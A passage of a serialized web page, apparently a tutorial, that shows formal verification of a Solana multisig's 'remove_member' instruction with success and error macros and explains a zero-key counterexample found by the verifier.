",{"type":23,"tag":135,"props":24364,"children":24366},{"className":24365},[],[24367],{"type":28,"value":18162},{"type":28,"value":24369}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":23,"tag":128,"props":24371,"children":24373},{"code":24372,"language":947,"meta":7,"className":948,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[24374],{"type":23,"tag":135,"props":24375,"children":24376},{"__ignoreMap":7},[24377,24384,24431,24438],{"type":23,"tag":139,"props":24378,"children":24379},{"class":141,"line":142},[24380],{"type":23,"tag":139,"props":24381,"children":24382},{"style":259},[24383],{"type":28,"value":22132},{"type":23,"tag":139,"props":24385,"children":24386},{"class":141,"line":151},[24387,24391,24395,24399,24403,24407,24411,24415,24419,24423,24427],{"type":23,"tag":139,"props":24388,"children":24389},{"style":259},[24390],{"type":28,"value":18231},{"type":23,"tag":139,"props":24392,"children":24393},{"style":982},[24394],{"type":28,"value":73},{"type":23,"tag":139,"props":24396,"children":24397},{"style":259},[24398],{"type":28,"value":12686},{"type":23,"tag":139,"props":24400,"children":24401},{"style":982},[24402],{"type":28,"value":73},{"type":23,"tag":139,"props":24404,"children":24405},{"style":259},[24406],{"type":28,"value":21825},{"type":23,"tag":139,"props":24408,"children":24409},{"style":982},[24410],{"type":28,"value":73},{"type":23,"tag":139,"props":24412,"children":24413},{"style":259},[24414],{"type":28,"value":18991},{"type":23,"tag":139,"props":24416,"children":24417},{"style":982},[24418],{"type":28,"value":73},{"type":23,"tag":139,"props":24420,"children":24421},{"style":259},[24422],{"type":28,"value":19029},{"type":23,"tag":139,"props":24424,"children":24425},{"style":982},[24426],{"type":28,"value":8471},{"type":23,"tag":139,"props":24428,"children":24429},{"style":259},[24430],{"type":28,"value":17451},{"type":23,"tag":139,"props":24432,"children":24433},{"class":141,"line":160},[24434],{"type":23,"tag":139,"props":24435,"children":24436},{"style":259},[24437],{"type":28,"value":18266},{"type":23,"tag":139,"props":24439,"children":24440},{"class":141,"line":169},[24441,24445,24449,24453,24457,24461,24465],{"type":23,"tag":139,"props":24442,"children":24443},{"style":279},[24444],{"type":28,"value":18274},{"type":23,"tag":139,"props":24446,"children":24447},{"style":245},[24448],{"type":28,"value":23786},{"type":23,"tag":139,"props":24450,"children":24451},{"style":259},[24452],{"type":28,"value":262},{"type":23,"tag":139,"props":24454,"children":24455},{"style":982},[24456],{"type":28,"value":7599},{"type":23,"tag":139,"props":24458,"children":24459},{"style":259},[24460],{"type":28,"value":22009},{"type":23,"tag":139,"props":24462,"children":24463},{"style":982},[24464],{"type":28,"value":7599},{"type":23,"tag":139,"props":24466,"children":24467},{"style":259},[24468],{"type":28,"value":7604},{"type":23,"tag":24,"props":24470,"children":24471},{},[24472,24474,24479],{"type":28,"value":24473},"And for now let's remove the invariant on the ",{"type":23,"tag":135,"props":24475,"children":24477},{"className":24476},[],[24478],{"type":28,"value":20750},{"type":28,"value":24480}," account:",{"type":23,"tag":128,"props":24482,"children":24484},{"code":24483,"language":947,"meta":7,"className":948,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[24485],{"type":23,"tag":135,"props":24486,"children":24487},{"__ignoreMap":7},[24488,24496],{"type":23,"tag":139,"props":24489,"children":24490},{"class":141,"line":142},[24491],{"type":23,"tag":139,"props":24492,"children":24493},{"style":259},[24494],{"type":28,"value":24495},"#[invariant()]\n",{"type":23,"tag":139,"props":24497,"children":24498},{"class":141,"line":151},[24499,24503,24507,24511,24515,24519],{"type":23,"tag":139,"props":24500,"children":24501},{"style":279},[24502],{"type":28,"value":11701},{"type":23,"tag":139,"props":24504,"children":24505},{"style":279},[24506],{"type":28,"value":19159},{"type":23,"tag":139,"props":24508,"children":24509},{"style":305},[24510],{"type":28,"value":19164},{"type":23,"tag":139,"props":24512,"children":24513},{"style":259},[24514],{"type":28,"value":7594},{"type":23,"tag":139,"props":24516,"children":24517},{"style":982},[24518],{"type":28,"value":7599},{"type":23,"tag":139,"props":24520,"children":24521},{"style":259},[24522],{"type":28,"value":7604},{"type":23,"tag":24,"props":24524,"children":24525},{},[24526],{"type":28,"value":24527},"Let's test this!",{"type":23,"tag":24,"props":24529,"children":24530},{},[24531,24533,24538],{"type":28,"value":24532},"Our ",{"type":23,"tag":135,"props":24534,"children":24536},{"className":24535},[],[24537],{"type":28,"value":18162},{"type":28,"value":24539}," harness produces:",{"type":23,"tag":128,"props":24541,"children":24543},{"code":24542},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[24544],{"type":23,"tag":135,"props":24545,"children":24546},{"__ignoreMap":7},[24547],{"type":28,"value":24542},{"type":23,"tag":24,"props":24549,"children":24550},{},[24551],{"type":28,"value":24552},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":23,"tag":24,"props":24554,"children":24555},{},[24556,24558,24563],{"type":28,"value":24557},"However, remember that since ",{"type":23,"tag":135,"props":24559,"children":24561},{"className":24560},[],[24562],{"type":28,"value":18162},{"type":28,"value":24564}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":23,"tag":24,"props":24566,"children":24567},{},[24568,24570,24575,24577,24582,24584,24589],{"type":28,"value":24569},"Suppose we want to be sure that this condition is the ",{"type":23,"tag":659,"props":24571,"children":24572},{},[24573],{"type":28,"value":24574},"only condition",{"type":28,"value":24576}," in which the function will succeed (i.e. ",{"type":23,"tag":659,"props":24578,"children":24579},{},[24580],{"type":28,"value":24581},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":28,"value":24583},"). We could attempt to verify the other side of this with an ",{"type":23,"tag":135,"props":24585,"children":24587},{"className":24586},[],[24588],{"type":28,"value":18169},{"type":28,"value":24590}," macro such as:",{"type":23,"tag":128,"props":24592,"children":24594},{"code":24593,"language":947,"meta":7,"className":948,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n    ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[24595],{"type":23,"tag":135,"props":24596,"children":24597},{"__ignoreMap":7},[24598,24605,24652,24659,24666,24713,24720],{"type":23,"tag":139,"props":24599,"children":24600},{"class":141,"line":142},[24601],{"type":23,"tag":139,"props":24602,"children":24603},{"style":259},[24604],{"type":28,"value":22132},{"type":23,"tag":139,"props":24606,"children":24607},{"class":141,"line":151},[24608,24612,24616,24620,24624,24628,24632,24636,24640,24644,24648],{"type":23,"tag":139,"props":24609,"children":24610},{"style":259},[24611],{"type":28,"value":18231},{"type":23,"tag":139,"props":24613,"children":24614},{"style":982},[24615],{"type":28,"value":73},{"type":23,"tag":139,"props":24617,"children":24618},{"style":259},[24619],{"type":28,"value":12686},{"type":23,"tag":139,"props":24621,"children":24622},{"style":982},[24623],{"type":28,"value":73},{"type":23,"tag":139,"props":24625,"children":24626},{"style":259},[24627],{"type":28,"value":21825},{"type":23,"tag":139,"props":24629,"children":24630},{"style":982},[24631],{"type":28,"value":73},{"type":23,"tag":139,"props":24633,"children":24634},{"style":259},[24635],{"type":28,"value":18991},{"type":23,"tag":139,"props":24637,"children":24638},{"style":982},[24639],{"type":28,"value":73},{"type":23,"tag":139,"props":24641,"children":24642},{"style":259},[24643],{"type":28,"value":19029},{"type":23,"tag":139,"props":24645,"children":24646},{"style":982},[24647],{"type":28,"value":8471},{"type":23,"tag":139,"props":24649,"children":24650},{"style":259},[24651],{"type":28,"value":17451},{"type":23,"tag":139,"props":24653,"children":24654},{"class":141,"line":160},[24655],{"type":23,"tag":139,"props":24656,"children":24657},{"style":259},[24658],{"type":28,"value":18266},{"type":23,"tag":139,"props":24660,"children":24661},{"class":141,"line":169},[24662],{"type":23,"tag":139,"props":24663,"children":24664},{"style":259},[24665],{"type":28,"value":18223},{"type":23,"tag":139,"props":24667,"children":24668},{"class":141,"line":178},[24669,24673,24677,24681,24685,24689,24693,24697,24701,24705,24709],{"type":23,"tag":139,"props":24670,"children":24671},{"style":259},[24672],{"type":28,"value":18231},{"type":23,"tag":139,"props":24674,"children":24675},{"style":982},[24676],{"type":28,"value":73},{"type":23,"tag":139,"props":24678,"children":24679},{"style":259},[24680],{"type":28,"value":12686},{"type":23,"tag":139,"props":24682,"children":24683},{"style":982},[24684],{"type":28,"value":73},{"type":23,"tag":139,"props":24686,"children":24687},{"style":259},[24688],{"type":28,"value":21825},{"type":23,"tag":139,"props":24690,"children":24691},{"style":982},[24692],{"type":28,"value":73},{"type":23,"tag":139,"props":24694,"children":24695},{"style":259},[24696],{"type":28,"value":18991},{"type":23,"tag":139,"props":24698,"children":24699},{"style":982},[24700],{"type":28,"value":73},{"type":23,"tag":139,"props":24702,"children":24703},{"style":259},[24704],{"type":28,"value":19029},{"type":23,"tag":139,"props":24706,"children":24707},{"style":982},[24708],{"type":28,"value":17423},{"type":23,"tag":139,"props":24710,"children":24711},{"style":259},[24712],{"type":28,"value":17451},{"type":23,"tag":139,"props":24714,"children":24715},{"class":141,"line":187},[24716],{"type":23,"tag":139,"props":24717,"children":24718},{"style":259},[24719],{"type":28,"value":18266},{"type":23,"tag":139,"props":24721,"children":24722},{"class":141,"line":196},[24723,24727,24731,24735,24739,24743,24747],{"type":23,"tag":139,"props":24724,"children":24725},{"style":279},[24726],{"type":28,"value":18274},{"type":23,"tag":139,"props":24728,"children":24729},{"style":245},[24730],{"type":28,"value":23786},{"type":23,"tag":139,"props":24732,"children":24733},{"style":259},[24734],{"type":28,"value":262},{"type":23,"tag":139,"props":24736,"children":24737},{"style":982},[24738],{"type":28,"value":7599},{"type":23,"tag":139,"props":24740,"children":24741},{"style":259},[24742],{"type":28,"value":22009},{"type":23,"tag":139,"props":24744,"children":24745},{"style":982},[24746],{"type":28,"value":7599},{"type":23,"tag":139,"props":24748,"children":24749},{"style":259},[24750],{"type":28,"value":7604},{"type":23,"tag":24,"props":24752,"children":24753},{},[24754,24756,24761],{"type":28,"value":24755},"Let's test this, we just need to run the new ",{"type":23,"tag":135,"props":24757,"children":24759},{"className":24758},[],[24760],{"type":28,"value":18169},{"type":28,"value":24762}," harness:",{"type":23,"tag":128,"props":24764,"children":24766},{"code":24765},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[24767],{"type":23,"tag":135,"props":24768,"children":24769},{"__ignoreMap":7},[24770],{"type":28,"value":24765},{"type":23,"tag":24,"props":24772,"children":24773},{},[24774],{"type":28,"value":24775},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":23,"tag":128,"props":24777,"children":24779},{"code":24778,"language":947,"meta":7,"className":948,"style":7},"Account {\n    account: Ms {\n        threshold: 0,\n        authority_index: 0,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: Vec {\n            data: ...,\n            size: 0,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[24780],{"type":23,"tag":135,"props":24781,"children":24782},{"__ignoreMap":7},[24783,24794,24813,24832,24851,24870,24889,24908,24927,24946,24965,24985,25004,25011,25018,25045],{"type":23,"tag":139,"props":24784,"children":24785},{"class":141,"line":142},[24786,24790],{"type":23,"tag":139,"props":24787,"children":24788},{"style":305},[24789],{"type":28,"value":15158},{"type":23,"tag":139,"props":24791,"children":24792},{"style":259},[24793],{"type":28,"value":1268},{"type":23,"tag":139,"props":24795,"children":24796},{"class":141,"line":151},[24797,24801,24805,24809],{"type":23,"tag":139,"props":24798,"children":24799},{"style":294},[24800],{"type":28,"value":23192},{"type":23,"tag":139,"props":24802,"children":24803},{"style":982},[24804],{"type":28,"value":2493},{"type":23,"tag":139,"props":24806,"children":24807},{"style":305},[24808],{"type":28,"value":19164},{"type":23,"tag":139,"props":24810,"children":24811},{"style":259},[24812],{"type":28,"value":1268},{"type":23,"tag":139,"props":24814,"children":24815},{"class":141,"line":160},[24816,24820,24824,24828],{"type":23,"tag":139,"props":24817,"children":24818},{"style":294},[24819],{"type":28,"value":21846},{"type":23,"tag":139,"props":24821,"children":24822},{"style":982},[24823],{"type":28,"value":2493},{"type":23,"tag":139,"props":24825,"children":24826},{"style":1016},[24827],{"type":28,"value":1019},{"type":23,"tag":139,"props":24829,"children":24830},{"style":259},[24831],{"type":28,"value":1488},{"type":23,"tag":139,"props":24833,"children":24834},{"class":141,"line":169},[24835,24839,24843,24847],{"type":23,"tag":139,"props":24836,"children":24837},{"style":294},[24838],{"type":28,"value":23232},{"type":23,"tag":139,"props":24840,"children":24841},{"style":982},[24842],{"type":28,"value":2493},{"type":23,"tag":139,"props":24844,"children":24845},{"style":1016},[24846],{"type":28,"value":1019},{"type":23,"tag":139,"props":24848,"children":24849},{"style":259},[24850],{"type":28,"value":1488},{"type":23,"tag":139,"props":24852,"children":24853},{"class":141,"line":178},[24854,24858,24862,24866],{"type":23,"tag":139,"props":24855,"children":24856},{"style":294},[24857],{"type":28,"value":23252},{"type":23,"tag":139,"props":24859,"children":24860},{"style":982},[24861],{"type":28,"value":2493},{"type":23,"tag":139,"props":24863,"children":24864},{"style":1016},[24865],{"type":28,"value":1019},{"type":23,"tag":139,"props":24867,"children":24868},{"style":259},[24869],{"type":28,"value":1488},{"type":23,"tag":139,"props":24871,"children":24872},{"class":141,"line":187},[24873,24877,24881,24885],{"type":23,"tag":139,"props":24874,"children":24875},{"style":294},[24876],{"type":28,"value":23272},{"type":23,"tag":139,"props":24878,"children":24879},{"style":982},[24880],{"type":28,"value":2493},{"type":23,"tag":139,"props":24882,"children":24883},{"style":1016},[24884],{"type":28,"value":1019},{"type":23,"tag":139,"props":24886,"children":24887},{"style":259},[24888],{"type":28,"value":1488},{"type":23,"tag":139,"props":24890,"children":24891},{"class":141,"line":196},[24892,24896,24900,24904],{"type":23,"tag":139,"props":24893,"children":24894},{"style":294},[24895],{"type":28,"value":23292},{"type":23,"tag":139,"props":24897,"children":24898},{"style":982},[24899],{"type":28,"value":2493},{"type":23,"tag":139,"props":24901,"children":24902},{"style":1016},[24903],{"type":28,"value":1019},{"type":23,"tag":139,"props":24905,"children":24906},{"style":259},[24907],{"type":28,"value":1488},{"type":23,"tag":139,"props":24909,"children":24910},{"class":141,"line":205},[24911,24915,24919,24923],{"type":23,"tag":139,"props":24912,"children":24913},{"style":294},[24914],{"type":28,"value":21859},{"type":23,"tag":139,"props":24916,"children":24917},{"style":982},[24918],{"type":28,"value":2493},{"type":23,"tag":139,"props":24920,"children":24921},{"style":982},[24922],{"type":28,"value":23320},{"type":23,"tag":139,"props":24924,"children":24925},{"style":259},[24926],{"type":28,"value":1488},{"type":23,"tag":139,"props":24928,"children":24929},{"class":141,"line":214},[24930,24934,24938,24942],{"type":23,"tag":139,"props":24931,"children":24932},{"style":294},[24933],{"type":28,"value":23332},{"type":23,"tag":139,"props":24935,"children":24936},{"style":982},[24937],{"type":28,"value":2493},{"type":23,"tag":139,"props":24939,"children":24940},{"style":279},[24941],{"type":28,"value":7064},{"type":23,"tag":139,"props":24943,"children":24944},{"style":259},[24945],{"type":28,"value":1488},{"type":23,"tag":139,"props":24947,"children":24948},{"class":141,"line":1320},[24949,24953,24957,24961],{"type":23,"tag":139,"props":24950,"children":24951},{"style":294},[24952],{"type":28,"value":23352},{"type":23,"tag":139,"props":24954,"children":24955},{"style":982},[24956],{"type":28,"value":2493},{"type":23,"tag":139,"props":24958,"children":24959},{"style":305},[24960],{"type":28,"value":19397},{"type":23,"tag":139,"props":24962,"children":24963},{"style":259},[24964],{"type":28,"value":1268},{"type":23,"tag":139,"props":24966,"children":24967},{"class":141,"line":1329},[24968,24973,24977,24981],{"type":23,"tag":139,"props":24969,"children":24970},{"style":294},[24971],{"type":28,"value":24972},"            data",{"type":23,"tag":139,"props":24974,"children":24975},{"style":982},[24976],{"type":28,"value":2493},{"type":23,"tag":139,"props":24978,"children":24979},{"style":982},[24980],{"type":28,"value":23320},{"type":23,"tag":139,"props":24982,"children":24983},{"style":259},[24984],{"type":28,"value":1488},{"type":23,"tag":139,"props":24986,"children":24987},{"class":141,"line":1580},[24988,24992,24996,25000],{"type":23,"tag":139,"props":24989,"children":24990},{"style":294},[24991],{"type":28,"value":23373},{"type":23,"tag":139,"props":24993,"children":24994},{"style":982},[24995],{"type":28,"value":2493},{"type":23,"tag":139,"props":24997,"children":24998},{"style":1016},[24999],{"type":28,"value":1019},{"type":23,"tag":139,"props":25001,"children":25002},{"style":259},[25003],{"type":28,"value":1488},{"type":23,"tag":139,"props":25005,"children":25006},{"class":141,"line":1597},[25007],{"type":23,"tag":139,"props":25008,"children":25009},{"style":259},[25010],{"type":28,"value":23394},{"type":23,"tag":139,"props":25012,"children":25013},{"class":141,"line":1614},[25014],{"type":23,"tag":139,"props":25015,"children":25016},{"style":259},[25017],{"type":28,"value":23402},{"type":23,"tag":139,"props":25019,"children":25020},{"class":141,"line":1627},[25021,25025,25029,25033,25037,25041],{"type":23,"tag":139,"props":25022,"children":25023},{"style":294},[25024],{"type":28,"value":23410},{"type":23,"tag":139,"props":25026,"children":25027},{"style":982},[25028],{"type":28,"value":2493},{"type":23,"tag":139,"props":25030,"children":25031},{"style":305},[25032],{"type":28,"value":23419},{"type":23,"tag":139,"props":25034,"children":25035},{"style":259},[25036],{"type":28,"value":7594},{"type":23,"tag":139,"props":25038,"children":25039},{"style":982},[25040],{"type":28,"value":7599},{"type":23,"tag":139,"props":25042,"children":25043},{"style":259},[25044],{"type":28,"value":23432},{"type":23,"tag":139,"props":25046,"children":25047},{"class":141,"line":1636},[25048],{"type":23,"tag":139,"props":25049,"children":25050},{"style":259},[25051],{"type":28,"value":1897},{"type":23,"tag":24,"props":25053,"children":25054},{},[25055],{"type":28,"value":25056},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":23,"tag":24,"props":25058,"children":25059},{},[25060,25062,25068],{"type":28,"value":25061},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":23,"tag":135,"props":25063,"children":25065},{"className":25064},[],[25066],{"type":28,"value":25067},"Ms::remove_member",{"type":28,"value":2493},{"type":23,"tag":128,"props":25070,"children":25072},{"code":25071,"language":947,"meta":7,"className":948,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n    return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[25073],{"type":23,"tag":135,"props":25074,"children":25075},{"__ignoreMap":7},[25076,25135,25166,25173],{"type":23,"tag":139,"props":25077,"children":25078},{"class":141,"line":142},[25079,25083,25087,25091,25095,25099,25103,25107,25111,25115,25119,25123,25127,25131],{"type":23,"tag":139,"props":25080,"children":25081},{"style":319},[25082],{"type":28,"value":13590},{"type":23,"tag":139,"props":25084,"children":25085},{"style":294},[25086],{"type":28,"value":23864},{"type":23,"tag":139,"props":25088,"children":25089},{"style":982},[25090],{"type":28,"value":73},{"type":23,"tag":139,"props":25092,"children":25093},{"style":259},[25094],{"type":28,"value":12686},{"type":23,"tag":139,"props":25096,"children":25097},{"style":982},[25098],{"type":28,"value":73},{"type":23,"tag":139,"props":25100,"children":25101},{"style":259},[25102],{"type":28,"value":21825},{"type":23,"tag":139,"props":25104,"children":25105},{"style":982},[25106],{"type":28,"value":73},{"type":23,"tag":139,"props":25108,"children":25109},{"style":259},[25110],{"type":28,"value":18991},{"type":23,"tag":139,"props":25112,"children":25113},{"style":982},[25114],{"type":28,"value":73},{"type":23,"tag":139,"props":25116,"children":25117},{"style":245},[25118],{"type":28,"value":7146},{"type":23,"tag":139,"props":25120,"children":25121},{"style":259},[25122],{"type":28,"value":12054},{"type":23,"tag":139,"props":25124,"children":25125},{"style":982},[25126],{"type":28,"value":6580},{"type":23,"tag":139,"props":25128,"children":25129},{"style":1016},[25130],{"type":28,"value":2525},{"type":23,"tag":139,"props":25132,"children":25133},{"style":259},[25134],{"type":28,"value":1268},{"type":23,"tag":139,"props":25136,"children":25137},{"class":141,"line":151},[25138,25142,25146,25150,25154,25158,25162],{"type":23,"tag":139,"props":25139,"children":25140},{"style":319},[25141],{"type":28,"value":322},{"type":23,"tag":139,"props":25143,"children":25144},{"style":245},[25145],{"type":28,"value":21528},{"type":23,"tag":139,"props":25147,"children":25148},{"style":259},[25149],{"type":28,"value":262},{"type":23,"tag":139,"props":25151,"children":25152},{"style":305},[25153],{"type":28,"value":21537},{"type":23,"tag":139,"props":25155,"children":25156},{"style":982},[25157],{"type":28,"value":1461},{"type":23,"tag":139,"props":25159,"children":25160},{"style":305},[25161],{"type":28,"value":23940},{"type":23,"tag":139,"props":25163,"children":25164},{"style":259},[25165],{"type":28,"value":1820},{"type":23,"tag":139,"props":25167,"children":25168},{"class":141,"line":160},[25169],{"type":23,"tag":139,"props":25170,"children":25171},{"style":259},[25172],{"type":28,"value":1897},{"type":23,"tag":139,"props":25174,"children":25175},{"class":141,"line":169},[25176,25180,25184,25188,25192,25196,25200,25204,25208,25212,25216,25220],{"type":23,"tag":139,"props":25177,"children":25178},{"style":294},[25179],{"type":28,"value":18288},{"type":23,"tag":139,"props":25181,"children":25182},{"style":982},[25183],{"type":28,"value":73},{"type":23,"tag":139,"props":25185,"children":25186},{"style":259},[25187],{"type":28,"value":12686},{"type":23,"tag":139,"props":25189,"children":25190},{"style":982},[25191],{"type":28,"value":73},{"type":23,"tag":139,"props":25193,"children":25194},{"style":259},[25195],{"type":28,"value":21825},{"type":23,"tag":139,"props":25197,"children":25198},{"style":982},[25199],{"type":28,"value":73},{"type":23,"tag":139,"props":25201,"children":25202},{"style":245},[25203],{"type":28,"value":23487},{"type":23,"tag":139,"props":25205,"children":25206},{"style":259},[25207],{"type":28,"value":262},{"type":23,"tag":139,"props":25209,"children":25210},{"style":294},[25211],{"type":28,"value":23820},{"type":23,"tag":139,"props":25213,"children":25214},{"style":259},[25215],{"type":28,"value":1104},{"type":23,"tag":139,"props":25217,"children":25218},{"style":982},[25219],{"type":28,"value":1132},{"type":23,"tag":139,"props":25221,"children":25222},{"style":259},[25223],{"type":28,"value":995},{"type":23,"tag":24,"props":25225,"children":25226},{},[25227,25229,25235,25237,25243],{"type":28,"value":25228},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":23,"tag":135,"props":25230,"children":25232},{"className":25231},[],[25233],{"type":28,"value":25234},"Ms::is_member",{"type":28,"value":25236},") and if it is not, it simply skips the removal and returns ",{"type":23,"tag":135,"props":25238,"children":25240},{"className":25239},[],[25241],{"type":28,"value":25242},"Ok(())",{"type":28,"value":73},{"type":23,"tag":128,"props":25245,"children":25247},{"code":25246,"language":947,"meta":7,"className":948,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n    if let Some(ind) = self.is_member(member) {\n        self.keys.remove(ind);\n        if self.keys.len() \u003C usize::from(self.threshold) {\n            self.threshold = self.keys.len().try_into().unwrap();\n        }\n    }\n    Ok(())\n}\n",[25248],{"type":23,"tag":135,"props":25249,"children":25250},{"__ignoreMap":7},[25251,25315,25374,25411,25470,25538,25545,25552,25563],{"type":23,"tag":139,"props":25252,"children":25253},{"class":141,"line":142},[25254,25258,25262,25266,25270,25274,25278,25282,25286,25291,25295,25299,25303,25307,25311],{"type":23,"tag":139,"props":25255,"children":25256},{"style":279},[25257],{"type":28,"value":11701},{"type":23,"tag":139,"props":25259,"children":25260},{"style":279},[25261],{"type":28,"value":11706},{"type":23,"tag":139,"props":25263,"children":25264},{"style":245},[25265],{"type":28,"value":23786},{"type":23,"tag":139,"props":25267,"children":25268},{"style":259},[25269],{"type":28,"value":262},{"type":23,"tag":139,"props":25271,"children":25272},{"style":982},[25273],{"type":28,"value":1085},{"type":23,"tag":139,"props":25275,"children":25276},{"style":279},[25277],{"type":28,"value":1713},{"type":23,"tag":139,"props":25279,"children":25280},{"style":279},[25281],{"type":28,"value":11808},{"type":23,"tag":139,"props":25283,"children":25284},{"style":259},[25285],{"type":28,"value":1052},{"type":23,"tag":139,"props":25287,"children":25288},{"style":294},[25289],{"type":28,"value":25290},"member",{"type":23,"tag":139,"props":25292,"children":25293},{"style":982},[25294],{"type":28,"value":2493},{"type":23,"tag":139,"props":25296,"children":25297},{"style":305},[25298],{"type":28,"value":18865},{"type":23,"tag":139,"props":25300,"children":25301},{"style":259},[25302],{"type":28,"value":1062},{"type":23,"tag":139,"props":25304,"children":25305},{"style":982},[25306],{"type":28,"value":11768},{"type":23,"tag":139,"props":25308,"children":25309},{"style":305},[25310],{"type":28,"value":11773},{"type":23,"tag":139,"props":25312,"children":25313},{"style":259},[25314],{"type":28,"value":18339},{"type":23,"tag":139,"props":25316,"children":25317},{"class":141,"line":151},[25318,25322,25327,25332,25336,25341,25345,25349,25353,25357,25362,25366,25370],{"type":23,"tag":139,"props":25319,"children":25320},{"style":319},[25321],{"type":28,"value":10290},{"type":23,"tag":139,"props":25323,"children":25324},{"style":279},[25325],{"type":28,"value":25326}," let",{"type":23,"tag":139,"props":25328,"children":25329},{"style":305},[25330],{"type":28,"value":25331}," Some",{"type":23,"tag":139,"props":25333,"children":25334},{"style":259},[25335],{"type":28,"value":262},{"type":23,"tag":139,"props":25337,"children":25338},{"style":294},[25339],{"type":28,"value":25340},"ind",{"type":23,"tag":139,"props":25342,"children":25343},{"style":259},[25344],{"type":28,"value":1062},{"type":23,"tag":139,"props":25346,"children":25347},{"style":982},[25348],{"type":28,"value":1067},{"type":23,"tag":139,"props":25350,"children":25351},{"style":279},[25352],{"type":28,"value":11808},{"type":23,"tag":139,"props":25354,"children":25355},{"style":982},[25356],{"type":28,"value":73},{"type":23,"tag":139,"props":25358,"children":25359},{"style":245},[25360],{"type":28,"value":25361},"is_member",{"type":23,"tag":139,"props":25363,"children":25364},{"style":259},[25365],{"type":28,"value":262},{"type":23,"tag":139,"props":25367,"children":25368},{"style":294},[25369],{"type":28,"value":25290},{"type":23,"tag":139,"props":25371,"children":25372},{"style":259},[25373],{"type":28,"value":12815},{"type":23,"tag":139,"props":25375,"children":25376},{"class":141,"line":160},[25377,25382,25386,25390,25394,25399,25403,25407],{"type":23,"tag":139,"props":25378,"children":25379},{"style":279},[25380],{"type":28,"value":25381},"        self",{"type":23,"tag":139,"props":25383,"children":25384},{"style":982},[25385],{"type":28,"value":73},{"type":23,"tag":139,"props":25387,"children":25388},{"style":259},[25389],{"type":28,"value":18991},{"type":23,"tag":139,"props":25391,"children":25392},{"style":982},[25393],{"type":28,"value":73},{"type":23,"tag":139,"props":25395,"children":25396},{"style":245},[25397],{"type":28,"value":25398},"remove",{"type":23,"tag":139,"props":25400,"children":25401},{"style":259},[25402],{"type":28,"value":262},{"type":23,"tag":139,"props":25404,"children":25405},{"style":294},[25406],{"type":28,"value":25340},{"type":23,"tag":139,"props":25408,"children":25409},{"style":259},[25410],{"type":28,"value":1820},{"type":23,"tag":139,"props":25412,"children":25413},{"class":141,"line":169},[25414,25418,25422,25426,25430,25434,25438,25442,25446,25450,25454,25458,25462,25466],{"type":23,"tag":139,"props":25415,"children":25416},{"style":319},[25417],{"type":28,"value":1249},{"type":23,"tag":139,"props":25419,"children":25420},{"style":279},[25421],{"type":28,"value":11808},{"type":23,"tag":139,"props":25423,"children":25424},{"style":982},[25425],{"type":28,"value":73},{"type":23,"tag":139,"props":25427,"children":25428},{"style":259},[25429],{"type":28,"value":18991},{"type":23,"tag":139,"props":25431,"children":25432},{"style":982},[25433],{"type":28,"value":73},{"type":23,"tag":139,"props":25435,"children":25436},{"style":245},[25437],{"type":28,"value":7146},{"type":23,"tag":139,"props":25439,"children":25440},{"style":259},[25441],{"type":28,"value":24065},{"type":23,"tag":139,"props":25443,"children":25444},{"style":305},[25445],{"type":28,"value":14613},{"type":23,"tag":139,"props":25447,"children":25448},{"style":982},[25449],{"type":28,"value":1461},{"type":23,"tag":139,"props":25451,"children":25452},{"style":245},[25453],{"type":28,"value":17480},{"type":23,"tag":139,"props":25455,"children":25456},{"style":259},[25457],{"type":28,"value":262},{"type":23,"tag":139,"props":25459,"children":25460},{"style":279},[25461],{"type":28,"value":11724},{"type":23,"tag":139,"props":25463,"children":25464},{"style":982},[25465],{"type":28,"value":73},{"type":23,"tag":139,"props":25467,"children":25468},{"style":259},[25469],{"type":28,"value":24110},{"type":23,"tag":139,"props":25471,"children":25472},{"class":141,"line":178},[25473,25478,25482,25486,25490,25494,25498,25502,25506,25510,25514,25518,25522,25526,25530,25534],{"type":23,"tag":139,"props":25474,"children":25475},{"style":279},[25476],{"type":28,"value":25477},"            self",{"type":23,"tag":139,"props":25479,"children":25480},{"style":982},[25481],{"type":28,"value":73},{"type":23,"tag":139,"props":25483,"children":25484},{"style":259},[25485],{"type":28,"value":19079},{"type":23,"tag":139,"props":25487,"children":25488},{"style":982},[25489],{"type":28,"value":1067},{"type":23,"tag":139,"props":25491,"children":25492},{"style":279},[25493],{"type":28,"value":11808},{"type":23,"tag":139,"props":25495,"children":25496},{"style":982},[25497],{"type":28,"value":73},{"type":23,"tag":139,"props":25499,"children":25500},{"style":259},[25501],{"type":28,"value":18991},{"type":23,"tag":139,"props":25503,"children":25504},{"style":982},[25505],{"type":28,"value":73},{"type":23,"tag":139,"props":25507,"children":25508},{"style":245},[25509],{"type":28,"value":7146},{"type":23,"tag":139,"props":25511,"children":25512},{"style":259},[25513],{"type":28,"value":11890},{"type":23,"tag":139,"props":25515,"children":25516},{"style":982},[25517],{"type":28,"value":73},{"type":23,"tag":139,"props":25519,"children":25520},{"style":245},[25521],{"type":28,"value":24183},{"type":23,"tag":139,"props":25523,"children":25524},{"style":259},[25525],{"type":28,"value":11890},{"type":23,"tag":139,"props":25527,"children":25528},{"style":982},[25529],{"type":28,"value":73},{"type":23,"tag":139,"props":25531,"children":25532},{"style":245},[25533],{"type":28,"value":1651},{"type":23,"tag":139,"props":25535,"children":25536}